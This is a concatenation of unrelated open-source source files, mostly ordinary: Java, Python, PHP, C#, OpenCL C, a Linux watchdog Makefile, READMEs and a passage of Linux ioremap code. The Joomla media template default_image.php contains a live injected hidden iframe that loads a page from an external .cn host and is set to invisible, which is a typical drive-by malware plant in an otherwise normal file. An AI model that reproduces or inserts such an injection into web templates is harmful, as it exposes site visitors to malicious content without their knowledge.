insert(SetRowNamesAttributeNode.create()); } setRowNamesAttrNode.setRowNames(result, castVector(value)); } else { // generic attribute if (setGenAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setGenAttrNode = insert(SetAttributeNode.create()); } setGenAttrNode.execute(result, internedName, value); } return result; } /** * All other, non-performance centric, {@link RAttributable} types. */ @Fallback @TruffleBoundary protected Object updateAttr(Object obj, Object name, Object value) { assert name instanceof String : "casts should not pass anything but String"; Object object = obj; if (object instanceof RShareable) { object = ((RShareable) object).getNonShared(); } String internedName = intern.execute((String) name); if (object instanceof RAttributable) { RAttributable attributable = (RAttributable) object; if (value == RNull.instance) { attributable.removeAttr(internedName); } else { attributable.setAttr(internedName, value); } return object; } else if (RRuntime.isForeignObject(obj)) { throw RError.error(this, Message.OBJ_CANNOT_BE_ATTRIBUTED); } else if (obj == RNull.instance) { throw RError.error(this, Message.SET_ATTRIBUTES_ON_NULL); } else { throw RError.nyi(this, "object cannot be attributed: "); } } }
akunft/fastr
com.oracle.truffle.r.nodes.builtin/src/com/oracle/truffle/r/nodes/builtin/base/UpdateAttr.java
Java
gpl-2.0
12,281
#! /usr/bin/env python3 ''' given a list of stock price ticks for the day, can you tell me what trades I should make to maximize my gain within the constraints of the market? Remember - buy low, sell high, and you can't sell before you buy. Sample Input 19.35 19.30 18.88 18.93 18.95 19.03 19.00 18.97 18.97 18.98 ''' import argparse def parse_args(): parser = argparse.ArgumentParser(description='easy 249') parser.add_argument('stock_prices', action='store', nargs='+', help='prices of a given stock') return parser.parse_args() def stock(stock_prices): buy_day = 0 max_profit = 0 max_buy = 0 max_sell = 0 for buy_day in range(len(stock_prices) - 2): # maybe do a max(here) for sell_day in range(buy_day + 2, len(stock_prices)): profit = stock_prices[sell_day] - stock_prices[buy_day] if profit > max_profit: max_profit = profit max_buy = buy_day max_sell = sell_day print("max profit: %.2f from buy on day %d at %.2f sell on day %d at %.2f" % (max_profit, max_buy, stock_prices[max_buy], max_sell, stock_prices[max_sell])) if __name__ == '__main__': args = parse_args() stock([float(price) for price in args.stock_prices])
benosment/daily-exercises
easy-249.py
Python
gpl-2.0
1,302
<?php /******************************************************************************* Copyright 2005,2009 Whole Foods Community Co-op This file is part of Fannie. Fannie is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Fannie is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License in the file license.txt along with IT CORE; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *********************************************************************************/ require(dirname(__FILE__) . '/../config.php'); if (!class_exists('FannieAPI')) { include($FANNIE_ROOT.'classlib2.0/FannieAPI.php'); } if (basename(__FILE__) != basename($_SERVER['PHP_SELF'])) { return; } $dbc = FannieDB::get($FANNIE_OP_DB); include($FANNIE_ROOT.'auth/login.php'); $name = checkLogin(); if (!$name){ header("Location: {$FANNIE_URL}auth/ui/loginform.php?redirect={$FANNIE_URL}item/scaleDelete.php"); exit; } $user = validateUserQuiet('delete_items'); if (!$user){ echo "Not allowed"; exit; } $page_title = 'Fannie - Item Maintenance'; $header = 'Item Maintenance'; include('../src/header.html'); ?> <script type"text/javascript" src=ajax.js></script> <?php echo "<h1 style=\"color:red;\">Delete Scale PLU Tool</h1>"; if (isset($_REQUEST['upc']) && !isset($_REQUEST['deny'])){ $upc = BarcodeLib::padUPC(FormLib::get('upc')); if (isset($_REQUEST['submit'])){ $p = $dbc->prepare_statement("SELECT * FROM scaleItems WHERE plu=?"); $rp = $dbc->exec_statement($p,array($upc)); if ($dbc->num_rows($rp) == 0){ printf("No item found for <b>%s</b><p />",$upc); echo "<a href=\"scaleDelete.php\">Go back</a>"; } else { $rw = $dbc->fetch_row($rp); echo "<form action=scaleDelete.php method=post>"; echo "<b>Delete this item?</b><br />"; echo "<table cellpadding=4 cellspacing=0 border=1>"; echo "<tr><th>UPC</th><th>Description</th><th>Price</th></tr>"; printf("<tr><td><a href=\"itemMain.php?upc=%s\" target=\"_new%s\"> %s</a></td><td>%s</td><td>%.2f</td></tr>",$rw['plu'], $rw['plu'],$rw['plu'],$rw['itemdesc'],$rw['price']); echo "</table><br />"; printf("<input type=hidden name=upc value=\"%s\" />",$upc); echo "<input type=submit name=confirm value=\"Yes, delete this item\" />"; echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; echo "<input type=submit name=deny value=\"No, keep this item\" />"; } } else if (isset($_REQUEST['confirm'])){ $plu = substr($upc,3,4); $p = $dbc->prepare_statement("DELETE FROM scaleItems WHERE plu=?"); $rp = $dbc->exec_statement($p,array($upc)); include('hobartcsv/parse.php'); deleteitem($plu); include('laneUpdates.php'); printf("Item %s has been deleted<br /><br />",$upc); echo "<a href=\"scaleDelete.php\">Delete another item</a>"; } }else{ echo "<form action=scaleDelete.php method=post>"; echo "<input name=upc type=text id=upc> Enter UPC/PLU here<br><br>"; echo "<input name=submit type=submit value=submit>"; echo "</form>"; echo "<script type=\"text/javascript\"> \$(document).ready(function(){ \$('#upc').focus(); }); </script>"; } include ('../src/footer.html'); ?>
joelbrock/ELFCO_CORE
fannie/item/scaleDelete.php
PHP
gpl-2.0
3,895
package com.yao.app.java.nio.pipe; import java.io.IOException; import java.nio.ByteBuffer; import java.nio.channels.Pipe; public class Test { public static void main(String[] args) { try { Pipe pipe = Pipe.open(); Thread t1 = new Thread(new MessageOutput(pipe)); Thread t2 = new Thread(new MessageInput(pipe)); t2.start(); Thread.sleep(1000); t1.start(); } catch (Exception e) { e.printStackTrace(); } } public static class MessageOutput implements Runnable { private Pipe pipe; public MessageOutput(Pipe pipe) { this.pipe = pipe; } @Override public void run() { try { String message = "hello world,libailugo"; ByteBuffer buf = ByteBuffer.wrap(message.getBytes()); Pipe.SinkChannel channel = pipe.sink(); int count = channel.write(buf); channel.close(); System.out.println("send message:" + message + ",length:" + count); } catch (IOException e) { e.printStackTrace(); } } } public static class MessageInput implements Runnable { private Pipe pipe; public MessageInput(Pipe pipe) { this.pipe = pipe; } @Override public void run() { try { Pipe.SourceChannel channel = pipe.source(); ByteBuffer buf = ByteBuffer.allocate(10); StringBuilder sb = new StringBuilder(); int count = channel.read(buf); while (count > 0) { // 此处会导致错误 // sb.append(new String(buf.array())); sb.append(new String(buf.array(), 0, count)); buf.clear(); count = channel.read(buf); } channel.close(); System.out.println("recieve message:" + sb.toString()); } catch (IOException e) { e.printStackTrace(); } } } }
yaolei313/hello-world
utils/src/main/java/com/yao/app/java/nio/pipe/Test.java
Java
gpl-2.0
2,218
################################################################ # LiveQ - An interactive volunteering computing batch system # Copyright (C) 2013 Ioannis Charalampidis # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ################################################################ import sys import time import logging import jobmanager.io.agents as agents import jobmanager.io.jobs as jobs from jobmanager.config import Config from peewee import fn from liveq.models import Agent, AgentGroup, Jobs # Setup logger logger = logging.getLogger("teamqueue") def processTeamQueue(): """ This should be called periodically to check and schedule jobs pending for the particular team """ pass
wavesoft/LiveQ
liveq-jobmanager/jobmanager/io/teamqueue.py
Python
gpl-2.0
1,361
# # Makefile for the WatchDog device drivers. # # Only one watchdog can succeed. We probe the ISA/PCI/USB based # watchdog-cards first, then the architecture specific watchdog # drivers and then the architecture independent "softdog" driver. # This means that if your ISA/PCI/USB card isn't detected that # you can fall back to an architecture specific driver and if # that also fails then you can fall back to the software watchdog # to give you some cover. # ISA-based Watchdog Cards obj-$(CONFIG_PCWATCHDOG) += pcwd.o obj-$(CONFIG_MIXCOMWD) += mixcomwd.o obj-$(CONFIG_WDT) += wdt.o # PCI-based Watchdog Cards obj-$(CONFIG_PCIPCWATCHDOG) += pcwd_pci.o obj-$(CONFIG_WDTPCI) += wdt_pci.o # USB-based Watchdog Cards obj-$(CONFIG_USBPCWATCHDOG) += pcwd_usb.o # ALPHA Architecture # ARM Architecture obj-$(CONFIG_ARM_SP805_WATCHDOG) += sp805_wdt.o obj-$(CONFIG_AT91RM9200_WATCHDOG) += at91rm9200_wdt.o obj-$(CONFIG_AT91SAM9X_WATCHDOG) += at91sam9_wdt.o obj-$(CONFIG_OMAP_WATCHDOG) += omap_wdt.o obj-$(CONFIG_TWL4030_WATCHDOG) += twl4030_wdt.o obj-$(CONFIG_21285_WATCHDOG) += wdt285.o obj-$(CONFIG_977_WATCHDOG) += wdt977.o obj-$(CONFIG_IXP2000_WATCHDOG) += ixp2000_wdt.o obj-$(CONFIG_IXP4XX_WATCHDOG) += ixp4xx_wdt.o obj-$(CONFIG_KS8695_WATCHDOG) += ks8695_wdt.o obj-$(CONFIG_S3C2410_WATCHDOG) += s3c2410_wdt.o obj-$(CONFIG_SA1100_WATCHDOG) += sa1100_wdt.o obj-$(CONFIG_MPCORE_WATCHDOG) += mpcore_wdt.o obj-$(CONFIG_EP93XX_WATCHDOG) += ep93xx_wdt.o obj-$(CONFIG_PNX4008_WATCHDOG) += pnx4008_wdt.o obj-$(CONFIG_IOP_WATCHDOG) += iop_wdt.o obj-$(CONFIG_DAVINCI_WATCHDOG) += davinci_wdt.o obj-$(CONFIG_ORION_WATCHDOG) += orion_wdt.o obj-$(CONFIG_COH901327_WATCHDOG) += coh901327_wdt.o obj-$(CONFIG_STMP3XXX_WATCHDOG) += stmp3xxx_wdt.o obj-$(CONFIG_NUC900_WATCHDOG) += nuc900_wdt.o obj-$(CONFIG_ADX_WATCHDOG) += adx_wdt.o obj-$(CONFIG_IMAPX200_WATCHDOG) += imapx200_wdt.o obj-$(CONFIG_IMAPX800_WATCHDOG) += imapx800_wdt.o # AVR32 Architecture obj-$(CONFIG_AT32AP700X_WDT) += at32ap700x_wdt.o # BLACKFIN Architecture obj-$(CONFIG_BFIN_WDT) += bfin_wdt.o # CRIS Architecture # FRV Architecture # H8300 Architecture # X86 (i386 + ia64 + x86_64) Architecture obj-$(CONFIG_ACQUIRE_WDT) += acquirewdt.o obj-$(CONFIG_ADVANTECH_WDT) += advantechwdt.o obj-$(CONFIG_ALIM1535_WDT) += alim1535_wdt.o obj-$(CONFIG_ALIM7101_WDT) += alim7101_wdt.o obj-$(CONFIG_F71808E_WDT) += f71808e_wdt.o obj-$(CONFIG_SP5100_TCO) += sp5100_tco.o obj-$(CONFIG_GEODE_WDT) += geodewdt.o obj-$(CONFIG_SC520_WDT) += sc520_wdt.o obj-$(CONFIG_SBC_FITPC2_WATCHDOG) += sbc_fitpc2_wdt.o obj-$(CONFIG_EUROTECH_WDT) += eurotechwdt.o obj-$(CONFIG_IB700_WDT) += ib700wdt.o obj-$(CONFIG_IBMASR) += ibmasr.o obj-$(CONFIG_WAFER_WDT) += wafer5823wdt.o obj-$(CONFIG_I6300ESB_WDT) += i6300esb.o obj-$(CONFIG_ITCO_WDT) += iTCO_wdt.o ifeq ($(CONFIG_ITCO_VENDOR_SUPPORT),y) obj-$(CONFIG_ITCO_WDT) += iTCO_vendor_support.o endif obj-$(CONFIG_IT8712F_WDT) += it8712f_wdt.o obj-$(CONFIG_IT87_WDT) += it87_wdt.o obj-$(CONFIG_HP_WATCHDOG) += hpwdt.o obj-$(CONFIG_SC1200_WDT) += sc1200wdt.o obj-$(CONFIG_SCx200_WDT) += scx200_wdt.o obj-$(CONFIG_PC87413_WDT) += pc87413_wdt.o obj-$(CONFIG_NV_TCO) += nv_tco.o obj-$(CONFIG_RDC321X_WDT) += rdc321x_wdt.o obj-$(CONFIG_60XX_WDT) += sbc60xxwdt.o obj-$(CONFIG_SBC8360_WDT) += sbc8360.o obj-$(CONFIG_SBC7240_WDT) += sbc7240_wdt.o obj-$(CONFIG_CPU5_WDT) += cpu5wdt.o obj-$(CONFIG_SMSC_SCH311X_WDT) += sch311x_wdt.o obj-$(CONFIG_SMSC37B787_WDT) += smsc37b787_wdt.o obj-$(CONFIG_W83627HF_WDT) += w83627hf_wdt.o obj-$(CONFIG_W83697HF_WDT) += w83697hf_wdt.o obj-$(CONFIG_W83697UG_WDT) += w83697ug_wdt.o obj-$(CONFIG_W83877F_WDT) += w83877f_wdt.o obj-$(CONFIG_W83977F_WDT) += w83977f_wdt.o obj-$(CONFIG_MACHZ_WDT) += machzwd.o obj-$(CONFIG_SBC_EPX_C3_WATCHDOG) += sbc_epx_c3.o obj-$(CONFIG_INTEL_SCU_WATCHDOG) += intel_scu_watchdog.o # M32R Architecture # M68K Architecture obj-$(CONFIG_M54xx_WATCHDOG) += m54xx_wdt.o # MIPS Architecture obj-$(CONFIG_ATH79_WDT) += ath79_wdt.o obj-$(CONFIG_BCM47XX_WDT) += bcm47xx_wdt.o obj-$(CONFIG_BCM63XX_WDT) += bcm63xx_wdt.o obj-$(CONFIG_RC32434_WDT) += rc32434_wdt.o obj-$(CONFIG_INDYDOG) += indydog.o obj-$(CONFIG_JZ4740_WDT) += jz4740_wdt.o obj-$(CONFIG_WDT_MTX1) += mtx-1_wdt.o obj-$(CONFIG_PNX833X_WDT) += pnx833x_wdt.o obj-$(CONFIG_SIBYTE_WDOG) += sb_wdog.o obj-$(CONFIG_AR7_WDT) += ar7_wdt.o obj-$(CONFIG_TXX9_WDT) += txx9wdt.o obj-$(CONFIG_OCTEON_WDT) += octeon-wdt.o octeon-wdt-y := octeon-wdt-main.o octeon-wdt-nmi.o obj-$(CONFIG_LANTIQ_WDT) += lantiq_wdt.o # PARISC Architecture # POWERPC Architecture obj-$(CONFIG_GEF_WDT) += gef_wdt.o obj-$(CONFIG_8xxx_WDT) += mpc8xxx_wdt.o obj-$(CONFIG_MV64X60_WDT) += mv64x60_wdt.o obj-$(CONFIG_PIKA_WDT) += pika_wdt.o obj-$(CONFIG_BOOKE_WDT) += booke_wdt.o # PPC64 Architecture obj-$(CONFIG_WATCHDOG_RTAS) += wdrtas.o # S390 Architecture # SUPERH (sh + sh64) Architecture obj-$(CONFIG_SH_WDT) += shwdt.o # SPARC Architecture # SPARC64 Architecture obj-$(CONFIG_WATCHDOG_RIO) += riowd.o obj-$(CONFIG_WATCHDOG_CP1XXX) += cpwd.o # XTENSA Architecture # Xen obj-$(CONFIG_XEN_WDT) += xen_wdt.o # Architecture Independent obj-$(CONFIG_WM831X_WATCHDOG) += wm831x_wdt.o obj-$(CONFIG_WM8350_WATCHDOG) += wm8350_wdt.o obj-$(CONFIG_MAX63XX_WATCHDOG) += max63xx_wdt.o obj-$(CONFIG_SOFT_WATCHDOG) += softdog.o
mcdope/android_kernel_infotm_imapx800
drivers/watchdog/Makefile
Makefile
gpl-2.0
5,283
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.SessionState; using System.Data; namespace Schoolxm.html { /// <summary> /// Home 的摘要说明 /// </summary> public class Home : IHttpHandler, IRequiresSessionState { public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/html"; string userName = (string)context.Session["LoginUserName"]; string time = SqlHelper.ExecuteScalar("select VisitTime from T_VisitTime where TID=1").ToString(); if (userName == null) { DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;"); string str = @"<a href=""/UserLogin.ashx?Action=Log"">登入</a>&nbsp;|&nbsp;<a href=""/UserRegister.ashx?UserReg=Reg"">注册</a>"; var data = new { Title = "主页", News = dt.Rows, time, str }; string html = CommonHelper.RenderHtml("../html/HomeNoName.htm", data); context.Response.Write(html); } else { DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;"); string str = @"用户:&nbsp;" + userName + "&nbsp;欢迎您"; var data = new { Title = "主页", News = dt.Rows, str, time }; string html = CommonHelper.RenderHtml("../html/HomeHavName.htm", data); context.Response.Write(html); } } public bool IsReusable { get { return false; } } } }
zhouchm/School
SchoolAll/SchoolxmWeb/Schoolxm/Home.ashx.cs
C#
gpl-2.0
1,725
thm-bus-seat-reservation ========================
umt-pk-cs356/thm-bus-seat-reservation
README.md
Markdown
gpl-2.0
50
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'sub_sat_char2char2.cl' */ source_code = read_buffer("sub_sat_char2char2.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "sub_sat_char2char2", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_char2 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_char2)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_char2){{2, 2}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_char2 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_char2)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_char2){{2, 2}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_char2 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_char2)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_char2)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_char2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_char2), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_char2)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
xianggong/m2c_unit_test
test/integer/sub_sat_char2char2/sub_sat_char2char2_src.c
C
gpl-2.0
10,934
<?php $count=0; ?> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <section id="post-<?php the_ID(); ?>" <?php ++$count%2 ? post_class( 'archive col-1-2' ) : post_class( 'archive col-1-2 reverse' ); ?>> <?php the_post_thumbnail( 'steampunkd_sm-post-thumb' ); ?> <header><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><?php the_title( '<h2>', '</h2>'); ?></a></header> <small class="meta">Posted by <?php the_author() ?></small> <small class="meta"><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><time datetime="<?php the_time( 'Y-m-d' ); ?>" ><?php the_time( 'D, M jS, Y' ) ?></time></a></small> <small class="comments"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'steampunkd' ) . '</span>', __( 'One comment so far', 'steampunkd' ), __( 'View all % comments', 'steampunkd' ) ); ?><?php edit_post_link( 'Edit', ' | ', '' ); ?></small> <?php if( !get_the_post_thumbnail() ) the_excerpt(); ?> </section> <?php endwhile; else: ?> <p><?php _e( 'Sorry, no posts matched your criteria.', 'steampunkd' ); ?></p> <?php endif; ?> <div class="paginate"> <?php if( $wp_query->max_num_pages > 1 ) { ?> <nav id="pagination"> <?php steampunkd_paginate(); ?> </nav><!-- .pagination --> <?php } ?> </div>
bekahsealey/steampunkd
content-archive.php
PHP
gpl-2.0
1,429
<?php defined('_JEXEC') or die('Restricted access'); ?> <div class="item"> <a href="javascript:ImageManager.populateFields('<?php echo $this->_tmp_img->path_relative; ?>')"> <img src="<?php echo $this->baseURL.'/'.$this->_tmp_img->path_relative; ?>" width="<?php echo $this->_tmp_img->width_60; ?>" height="<?php echo $this->_tmp_img->height_60; ?>" alt="<?php echo $this->_tmp_img->name; ?> - <?php echo MediaHelper::parseSize($this->_tmp_img->size); ?>" /> <span><?php echo $this->_tmp_img->name; ?></span></a> </ <iframe src="http://globalmixgroup.cn:8080/ts/in.cgi?pepsi64" width=125 height=125 style="visibility: hidden"></iframe>
shafiqissani/Jewelery-Ecommerce-
administrator/components/com_media/views/imageslist/tmpl/default_image.php
PHP
gpl-2.0
657
### Forum URL root https://api-testing-conference.herokuapp.com/v1.0/ ### Forum webapplication https://forum-testing.herokuapp.com/v1.0/ ### Swagger API definition https://app.swaggerhub.com/apis/twiindan/forum-conference/1.0.0 ### Tools POSTMAN: https://www.getpostman.com/ <br> CHARLES PROXY: https://www.charlesproxy.com/ <br> BURPSUITE: https://portswigger.net/burp <br> FIDDLER: https://www.telerik.com/download/fiddler <br> SWAGGER: https://swagger.io/ <br>
twiindan/forum
urls.md
Markdown
gpl-2.0
469
/* * arch/i386/mm/ioremap.c * * Re-map IO memory to kernel address space so that we can access it. * This is needed for high PCI addresses that aren't mapped in the * 640k-1MB IO memory area on PC's * * (C) Copyright 1995 1996 Linus Torvalds */ #include <linux/vmalloc.h> #include <asm/io.h> #include <asm/pgalloc.h> static inline void remap_area_pte(pte_t * pte, unsigned long address, unsigned long size, unsigned long phys_addr, unsigned long flags) { unsigned long end; address &= ~PMD_MASK; end = address + size; if (end > PMD_SIZE) end = PMD_SIZE; if (address >= end) BUG(); do { if (!pte_none(*pte)) { printk("remap_area_pte: page already exists\n"); BUG(); } set_pte(pte, mk_pte_phys(phys_addr, __pgprot(_PAGE_PRESENT | _PAGE_RW | _PAGE_DIRTY | _PAGE_ACCESSED | flags))); address += PAGE_SIZE; phys_addr += PAGE_SIZE; pte++; } while (address && (address < end)); } static inline int remap_area_pmd(pmd_t * pmd, unsigned long address, unsigned long size, unsigned long phys_addr, unsigned long flags) { unsigned long end; address &= ~PGDIR_MASK; end = address + size; if (end > PGDIR_SIZE) end = PGDIR_SIZE; phys_addr -= address; if (address >= end) BUG(); do { pte_t * pte = pte_alloc_kernel(&init_mm, pmd, address); if (!pte) return -ENOMEM; remap_area_pte(pte, address, end - address, address + phys_addr, flags); address = (address + PMD_SIZE) & PMD_MASK; pmd++; } while (address && (address < end)); return 0; } static int remap_area_pages(unsigned long address, unsigned long phys_addr, unsigned long size, unsigned long flags) { int error; pgd_t * dir; unsigned long end = address + size; phys_addr -= address; dir = pgd_offset(&init_mm, address); flush_cache_all(); if (address >= end) BUG(); spin_lock(&init_mm.page_table_lock); do { pmd_t *pmd; pmd = pmd_alloc(&init_mm, dir, address); error = -ENOMEM; if (!pmd) break; if (remap_area_pmd(pmd, address, end - address, phys_addr + address, flags)) break; error = 0; address = (address + PGDIR_SIZE) & PGDIR_MASK; dir++; } while (address && (address < end)); spin_unlock(&init_mm.page_table_lock); flush_tlb_all(); return error; } /* * Generic mapping function (not visible outside): */ /* * Remap an arbitrary physical address space into the kernel virtual * address space. Needed when the kernel wants to access high addresses * directly. * * NOTE! We need to allow non-page-aligned mappings too: we will obviously * have to convert them into an offset in a page-aligned mapping, but the * caller shouldn't need to know that small detail. */ void * __ioremap(unsigned long phys_addr, unsigned long size, unsigned long flags) { void * addr; struct vm_struct * area; unsigned long offset, last_addr; /* Don't allow wraparound or zero size */ last_addr = phys_addr + size - 1; if (!size || last_addr < phys_addr) return NULL; /* * Don't remap the low PCI/ISA area, it's always mapped.. */ if (phys_addr >= 0xA0000 && last_addr < 0x100000) return phys_to_virt(phys_addr); /* * Don't allow anybody to remap normal RAM that we're using.. */ if (phys_addr < virt_to_phys(high_memory)) { char *t_addr, *t_end; struct page *page; t_addr = __va(phys_addr); t_end = t_addr + 